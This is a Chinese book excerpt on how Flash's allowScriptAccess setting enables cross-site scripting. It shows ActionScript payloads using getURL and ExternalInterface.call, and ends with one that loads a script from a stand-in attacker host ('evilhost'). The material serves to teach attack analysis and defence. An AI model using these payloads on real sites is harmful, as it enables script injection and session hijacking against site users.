本节书摘来自异步社区《XSS跨站脚本攻击剖析与防御》一书中的第6章6.4节利用Flash进行XSS攻击剖析,作者邱永华,更多章节内容可以访问云栖社区“异步社区”公众号查看。
6.4 利用Flash进行XSS攻击剖析
XSS跨站脚本攻击剖析与防御
利用嵌入Web页面中的Flash进行XSS有一个决定因素:allowScriptAccess属性。allowScriptAccess是使用或
下面是一个简单的示例:
allowScriptAccess属性控制着Flash与HTML页面的通信,可选的值有3个:
always:允许随时执行脚本操作
never:禁止所有脚本执行操作
samedomain:只有在Flash 应用程序来自与HTML页相同的域时才允许执行脚本操作
其属性值在Flash Player 7及之前版本中预设是always,代表Flash可以调用相同或不同domain的JavaScript函数。Flash Player 8或之后预设是sameDomain,也是现在多数Flash应用的默认状态,但是经常能看到有些程序允许将该选项设置为always。
allowScriptAccess实际上是Flash权限机制的API,前面提过的Security.allowDomain()也是其中一个。这些机制可以用于更改、调用应用程序的安全性环境。
权限机制API如图6-20所示。
主机应用程序的本机方法权限机制API如图6-21所示。
而allowScriptAccess和allowNetworking都属于HTML参数权限机制API如图6-22所示。
allowNetworking属性控制SWF 文件对网络功能的访问,因此对CSRF攻击有着至关重要的影响,稍后的内容会有讲解。
更多关于Flash权限机制API及其安全性的内容,可参看Adobe的官方白皮书Adobe Flash Player x Security。
假设在引入Flash文件时,HTML页面的或
在ActionScript中可以使用getURL()函数执行脚本代码。
ActionScript代码如下:
getURL('javascript: alert(123);');
把编译完成的SWF文件嵌入HTML文件中,代码如下:
<object id="foo" width="200" height="150">
<param name="movie" value="movie.swf">
<embed AllowScriptAccess="always" name="foo" src="xss.swf" type="application/x- shockwave-flash" width="200" height="150">
</embed>
</object>
这时,直接浏览上述页面就会弹出一个对话框。
除了使用getURL()方法外,还可以使用ActionScript 3.0中的ExternalInterface类来执行JavaScript脚本。
ExternalInterface类是Flash与JavaScript 交互的枢纽,可以实现JavaScript与 ActionScript之间的所有通信。通过ExternalInterface类的call()方法可以直接调用外部的JavaScript。
ExternalInterface.call()的语法如下:
ExternalInterface.call(functionName:String,...arguments):*
参数说明:
functionName:要调用的JavaScript函数名
arguments:参数,可选
ExternalInterface.call()允许在ActionScript中调用JavaScript,有以下几种方式。
(1)传统用法。
第1个参数是JavaScript中的函数名,其他是要传递的参数。
ExternalInterface.call("alert", "你好!");
结果如图6-23和图6-24所示。
(2)直接执行JavaScript语句。
直接把JavaScript语句写入参数内:
ExternalInterface.call("function(){alert('xss');}");
或采用如下形式:
var xss:String = "function(){alert('cnn4ry');}";
ExternalInterface.call(xss);
(3)使用XML格式。
用XML在ActionScript 3.0中嵌入JavaScript,更方便编写XSS代码,方法如下:
import flash.external.ExternalInterface;
var myJavaScript:XML =
<script>
<![CDATA[
function(){
function xss(){
alert("hijacking");
};
xss();
}
]]>
</script>
ExternalInterface.call(myJavaScript);
图6-25所示为执行效果。
(4)调用外部JavaScript。
以上方式都是通过调用容器中定义的JavaScript代码来完成,这样在进行XSS时会带来一定的不便。这时可以尝试动态加载外部的JavaScript脚本:
var fun = "var x=document.createElement(\"SCRIPT\");x.src=\"http://evilhost/xss.js\";
x.defer=true;document.getElementsByTagName(\"HEAD\")[0].appendChild(x);";
flash.external.ExternalInterface.call("eval", fun);
以上种种都是利用Flash执行XSS的方法。
本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。